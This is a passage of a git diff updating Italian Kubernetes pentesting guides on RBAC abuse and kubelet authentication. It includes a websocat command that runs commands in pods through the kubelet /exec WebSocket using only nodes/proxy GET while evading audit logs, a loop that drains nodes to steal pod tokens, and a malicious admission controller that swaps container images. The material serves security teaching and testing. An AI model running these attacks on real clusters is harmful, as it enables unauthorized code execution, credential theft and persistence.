[**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina: +I principal con accesso alla subresource **`nodes/proxy`** possono **eseguire codice su pod** tramite la Kubelet API (secondo [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione della Kubelet in questa pagina: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce). +#### nodes/proxy GET -> Kubelet /exec via WebSocket confusione dei verbi -### Eliminare pod + nodi non pianificabili +- Kubelet mappa i metodi HTTP ai verbi RBAC **prima** dell'upgrade del protocollo. Le handshake WebSocket devono iniziare con **HTTP GET** (`Connection: Upgrade`), quindi `/exec` su WebSocket viene controllato come **verbo `get`** invece dell'atteso `create`. +- `/exec`, `/run`, `/attach`, e `/portforward` non sono mappati esplicitamente e ricadono nella subresource di default **`proxy`**, quindi la domanda di autorizzazione diventa **`can get nodes/proxy?`** +- Se un token ha solo **`nodes/proxy` + `get`**, l'accesso diretto via WebSocket alla kubelet su `https://:10250` permette l'esecuzione arbitraria di comandi in qualsiasi pod su quel nodo. La stessa richiesta tramite il path proxy dell'API server (`/api/v1/nodes//proxy/exec/...`) viene negata perché è una normale HTTP POST e viene mappata a `create`. +- La kubelet non esegue una seconda autorizzazione dopo l'upgrade a WebSocket; viene valutato solo il GET iniziale. -Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **evict pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno il controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che vengano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod. +**Exploit diretto (richiede raggiungibilità di rete verso la kubelet e un token con `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Usa l'**IP del nodo**, non il nome del nodo. La stessa richiesta con `curl -X POST` sarà **Vietata** perché mappa a `create`. +- L'accesso diretto al kubelet aggira l'API server, quindi AuditPolicy mostra solo i `subjectaccessreviews` dall'user agent del kubelet e **non registra i comandi `pods/exec`**. +- Enumera gli account di servizio interessati con il [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) per trovare token limitati a `nodes/proxy` GET. + +### Eliminare i pod + nodi non schedulabili + +Soggetti che possono **eliminare i pod** (`delete` verb over `pods` resource), o **espellere i pod** (`create` verb over `pods/eviction` resource), o **modificare lo stato del pod** (accesso a `pods/status`) e che possono **rendere altri nodi non schedulabili** (accesso a `nodes/status`) o **eliminare i nodi** (`delete` verb over `nodes` resource) e che hanno il controllo su un pod, potrebbero **rubare i pod da altri nodi** in modo che vengano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -639,43 +658,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Stato dei servizi (CVE-2020-8554) +### Stato dei Servizi (CVE-2020-8554) -I principi che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare il **CVE-2020-8554 non corretto** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Soggetti che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare la **CVE-2020-8554 non risolta** e lanciare **attacchi MiTM contro il clus**ter. La maggior parte delle mitigazioni per CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). -### Stato dei nodi e dei pod +### Stato di Nodes e Pods -I principi con permessi **`update`** o **`patch`** su `nodes/status` o `pods/status` potrebbero modificare le etichette per influenzare i vincoli di pianificazione applicati. +I soggetti con permessi **`update`** o **`patch`** su `nodes/status` o `pods/status` possono modificare le etichette per influenzare i vincoli di scheduling applicati. -## Prevenzione dell'Escalation dei Privilegi Integrata +## Prevenzione integrata dell'escalation dei privilegi -Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi. +Kubernetes dispone di un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi. -Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruoli**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo. +Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando role o role binding**. L'applicazione di questa regola avviene a livello API, fornendo una salvaguardia anche quando l'autorizzatore RBAC è inattivo. -La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi di cui il ruolo è composto**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che sta tentando di creare o modificare: o a livello di cluster per i ClusterRoles o limitato allo stesso namespace (o a livello di cluster) per i Roles. +La regola stabilisce che un **utente può creare o aggiornare un role solo se possiede tutti i permessi che il role comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve corrispondere a quello del role che sta tentando di creare o modificare: oppure a livello cluster per i ClusterRoles, oppure limitato allo stesso namespace (o a livello cluster) per i Roles. > [!WARNING] -> C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso. +> C'è un'eccezione alla regola precedente. Se un principal ha il **verb `escalate`** su **`roles`** o **`clusterroles`** può aumentare i privilegi di role e clusterrole anche senza possedere quei permessi lui stesso. -### **Ottieni & Patch RoleBindings/ClusterRoleBindings** +### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li hai già.** +> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per la stessa ragione spiegata nella sezione precedente. Non puoi creare/modificare un rolebinding per assegnare a te stesso o a un'altra SA dei privilegi se non li possiedi già.** -Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a un account di servizio**. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché **consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.** +Il privilegio di creare Rolebindings permette a un utente di **associare ruoli a un service account**. Questo privilegio può portare a un'escalation dei privilegi perché **consente all'utente di assegnare privilegi di admin a un service account compromesso.** -## Altri Attacchi +## Altri attacchi -### App proxy Sidecar +### Sidecar proxy app -Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod. +Per impostazione predefinita non c'è alcuna cifratura nella comunicazione tra i pod. Autenticazione mutua, bidirezionale, pod-to-pod. -#### Crea un'app proxy Sidecar +#### Creare un'app sidecar proxy -Un contenitore sidecar consiste semplicemente nell'aggiungere un **secondo (o più) contenitore all'interno di un pod**. +Un container sidecar consiste semplicemente nell'aggiungere un **secondo (o più) container all'interno di un pod**. -Ad esempio, quanto segue è parte della configurazione di un pod con 2 contenitori: +Ad esempio, quanto segue è parte della configurazione di un pod con 2 container: ```yaml spec: containers: @@ -685,15 +704,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Ad esempio, per inserire un backdoor in un pod esistente con un nuovo container, puoi semplicemente aggiungere un nuovo container nella specifica. Nota che puoi **dare più permessi** al secondo container che il primo non avrà. +Per esempio, per backdoorare un pod esistente con un nuovo container puoi semplicemente aggiungere un nuovo container nella specifica. Nota che potresti **assegnare più permessi** al secondo container che il primo non avrà. -Maggiore informazione su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Ulteriori info su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Malicious Admission Controller +### Admission Controller maligno -Un admission controller **intercetta le richieste al server API di Kubernetes** prima della persistenza dell'oggetto, ma **dopo che la richiesta è stata autenticata** **e autorizzata**. +Un admission controller **intercetta le richieste al Kubernetes API server** prima della persistenza dell'oggetto, ma **dopo che la richiesta è autenticata** **e autorizzata**. -Se un attaccante riesce in qualche modo a **iniettare un Mutation Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster. +Se un attaccante in qualche modo riesce a **inject a Mutation Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Questo può potenzialmente consentire di privesc e, più frequentemente, di persistere nel cluster. **Esempio da** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -714,18 +733,18 @@ Quindi distribuisci un nuovo pod: kubectl run nginx --image nginx kubectl get po -w ``` -Quando puoi vedere l'errore `ErrImagePull`, controlla il nome dell'immagine con una delle seguenti query: +Quando vedi l'errore `ErrImagePull`, verifica il nome dell'immagine con una delle query: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx`, ma l'immagine finale eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!? +Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx` ma l'immagine effettivamente eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!? -#### Tecnicalità +#### Dettagli tecnici -Lo script `./deploy.sh` stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati: +Lo script `./deploy.sh` crea un mutating webhook admission controller, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando gli esiti osservati: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -733,30 +752,30 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Il frammento sopra sostituisce la prima immagine del container in ogni pod con `rewanthtammana/malicious-image`. +Lo snippet sopra sostituisce la prima immagine del container in ogni pod con `rewanthtammana/malicious-image`. -## Bypass di OPA Gatekeeper +## OPA Gatekeeper bypass {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Migliori Pratiche +## Buone pratiche -### **Disabilitare l'Automount dei Token degli Account di Servizio** +### **Disabilitare l'automount dei token di Service Account** -- **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount. -- **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes. +- **Pods and Service Accounts**: Per impostazione predefinita, i pods montano un token di service account. Per aumentare la sicurezza, Kubernetes permette di disabilitare questa funzionalità di automount. +- **Come applicare**: Impostare `automountServiceAccountToken: false` nella configurazione dei service account o dei pod a partire da Kubernetes versione 1.6. -### **Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings** +### **Assegnazione restrittiva degli utenti in RoleBindings/ClusterRoleBindings** -- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa. +- **Selective Inclusion**: Assicurarsi che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Effettuare audit regolari e rimuovere utenti non pertinenti per mantenere la sicurezza. -### **Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide** +### **Ruoli specifici per namespace invece dei permessi a livello di cluster** -- **Ruoli vs. ClusterRoles**: Preferisci utilizzare Ruoli e RoleBindings per permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più fine e limita l'ambito dei permessi. +- **Roles vs. ClusterRoles**: Preferire l'uso di Roles e RoleBindings per i permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più granulare e limita l'ambito dei permessi. -### **Utilizza strumenti automatizzati** +### **Usare strumenti automatizzati** {{#ref}} https://github.com/cyberark/KubiScan @@ -777,5 +796,8 @@ https://github.com/aquasecurity/kube-bench - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index ade81af5d..b7c27603e 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Kubelet Authentication & Authorization +# Kubelet Autenticazione e Autorizzazione {{#include ../../../banners/hacktricks-training.md}} -## Kubelet Authentication +## Kubelet Autenticazione -[**Dalla documentazione:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Per impostazione predefinita, le richieste all'endpoint HTTPS del kubelet che non vengono rifiutate da altri metodi di autenticazione configurati vengono trattate come richieste anonime, e viene assegnato un **nome utente di `system:anonymous`** e un **gruppo di `system:unauthenticated`**. +Per impostazione predefinita, le richieste all'endpoint HTTPS del kubelet che non vengono respinte da altri metodi di autenticazione configurati sono trattate come richieste anonime e ricevono un **nome utente `system:anonymous`** e un **gruppo `system:unauthenticated`**. I **3** metodi di **autenticazione** sono: -- **Anonimo** (predefinito): Usa l'impostazione impostando il parametro **`--anonymous-auth=true` o la configurazione:** +- **Anonymous** (default): impostare il parametro **`--anonymous-auth=true`** o la configurazione: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Questo abiliterà i **token bearer API** di kubectl come autorizzazione (qualsiasi token valido sarà valido). Abilitare con: -- assicurarsi che il gruppo API `authentication.k8s.io/v1beta1` sia abilitato nel server API -- avviare il kubelet con i flag **`--authentication-token-webhook`** e **`--kubeconfig`** o utilizzare la seguente impostazione: +- **Webhook**: Questo abiliterà i kubectl **API bearer tokens** come autorizzazione (qualsiasi token valido sarà valido). Abilitalo con: +- assicurati che il gruppo API `authentication.k8s.io/v1beta1` sia abilitato nell'API server +- avvia il kubelet con i flag **`--authentication-token-webhook`** e **`--kubeconfig`** oppure usa la seguente impostazione: ```json "authentication": { "webhook": { @@ -28,11 +28,10 @@ I **3** metodi di **autenticazione** sono: }, ``` > [!NOTE] -> Il kubelet chiama l'**`TokenReview` API** sul server API configurato per **determinare le informazioni dell'utente** dai token bearer - -- **Certificati client X509:** Consentono di autenticarsi tramite certificati client X509 -- vedere la [documentazione sull'autenticazione dell'apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) per ulteriori dettagli -- avviare il kubelet con il flag `--client-ca-file`, fornendo un bundle CA per verificare i certificati client. Oppure con la configurazione: +> Il kubelet chiama la **`TokenReview` API** sull'API server configurato per **determinare le informazioni sull'utente** dai bearer tokens +- **X509 client certificates:** Consentono di autenticarsi tramite X509 client certs +- vedi la [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) per maggiori dettagli +- avvia il kubelet con il flag `--client-ca-file`, fornendo un CA bundle per verificare i certificati client. Oppure con la config: ```json "authentication": { "x509": { @@ -42,14 +41,14 @@ I **3** metodi di **autenticazione** sono: ``` ## Autorizzazione Kubelet -Qualsiasi richiesta che è stata autenticata con successo (inclusa una richiesta anonima) **è quindi autorizzata**. La modalità di autorizzazione **predefinita** è **`AlwaysAllow`**, che **consente tutte le richieste**. +Qualsiasi richiesta che venga autenticata con successo (inclusa una richiesta anonima) **viene quindi autorizzata**. La modalità di autorizzazione **di default** è **`AlwaysAllow`**, che **consente tutte le richieste**. -Tuttavia, l'altro valore possibile è **`webhook`** (che è quello che troverai **principalmente là fuori**). Questa modalità **verificherà i permessi dell'utente autenticato** per consentire o negare un'azione. +Tuttavia, l'altro valore possibile è **`webhook`** (che è quello che **troverai più spesso**). Questa modalità **verifica i permessi dell'utente autenticato** per consentire o negare un'azione. > [!WARNING] -> Nota che anche se l'**autenticazione anonima è abilitata**, l'**accesso anonimo** potrebbe **non avere alcun permesso** per eseguire alcuna azione. +> Nota che anche se l'**autenticazione anonima è abilitata**, l'**accesso anonimo** potrebbe **non avere permessi** per eseguire alcuna azione. -L'autorizzazione tramite webhook può essere configurata utilizzando il **parametro `--authorization-mode=Webhook`** o tramite il file di configurazione con: +L'autorizzazione tramite webhook può essere configurata usando il **parametro `--authorization-mode=Webhook`** o tramite il file di configurazione con: ```json "authorization": { "mode": "Webhook", @@ -59,41 +58,45 @@ L'autorizzazione tramite webhook può essere configurata utilizzando il **parame } }, ``` -Il kubelet chiama l'**`SubjectAccessReview`** API sul server API configurato per **determinare** se ogni richiesta è **autorizzata.** +Il kubelet invoca l'API **`SubjectAccessReview`** sull'API server configurato per **determinare** se ogni richiesta è **autorizzata.** -Il kubelet autorizza le richieste API utilizzando lo stesso approccio degli [attributi di richiesta](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) del apiserver: +Il kubelet autorizza le richieste API usando lo stesso approccio [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) dell'apiserver: - **Azione** -| Verb HTTP | verbo di richiesta | +| HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (per risorse individuali), list (per collezioni, incluso il contenuto completo dell'oggetto), watch (per monitorare una risorsa individuale o una collezione di risorse) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (per risorse individuali), deletecollection (per collezioni) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- La **risorsa** che comunica con l'API Kubelet è **sempre** **nodes** e il **sotto-risorsa** è **determinato** dal percorso della richiesta in arrivo: +- La **resource** che parla con la Kubelet API è **sempre** **nodes** e la **subresource** è **determinata** dal percorso della richiesta in ingresso: -| API Kubelet | risorsa | sotto-risorsa | +| Kubelet API | resource | subresource | | ------------ | -------- | ----------- | | /stats/\* | nodes | stats | | /metrics/\* | nodes | metrics | | /logs/\* | nodes | log | | /spec/\* | nodes | spec | -| _tutte le altre_ | nodes | proxy | +| _all others_ | nodes | proxy | -Ad esempio, la seguente richiesta ha tentato di accedere alle informazioni sui pod di kubelet senza permesso: +> [!NOTE] +> Le connessioni WebSocket basate su `/exec`, `/run`, `/attach`, e `/portforward` rientrano nella subresource predefinita **proxy** e sono autorizzate usando la stretta di mano HTTP **GET** iniziale. Un principal con solo `nodes/proxy` **GET** può comunque eseguire exec sui container se si connette direttamente a `https://:10250` tramite WebSockets. Vedi la [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) per i dettagli. + +Ad esempio, la seguente richiesta ha tentato di accedere alle informazioni dei pods del kubelet senza autorizzazione: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Abbiamo ricevuto un **Forbidden**, quindi la richiesta **ha superato il controllo di autenticazione**. Altrimenti, avremmo ricevuto solo un messaggio `Unauthorised`. -- Possiamo vedere il **nome utente** (in questo caso dal token) -- Controlla come la **risorsa** fosse **nodes** e il **subresource** **proxy** (il che ha senso con le informazioni precedenti) +- Abbiamo ottenuto un **Forbidden**, quindi la richiesta **passed the Authentication check**. Altrimenti, avremmo ricevuto solo un messaggio `Unauthorised`. +- Possiamo vedere il **username** (in questo caso dal token) +- Nota come la **resource** fosse **nodes** e la **subresource** **proxy** (il che è coerente con le informazioni precedenti) ## Riferimenti - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}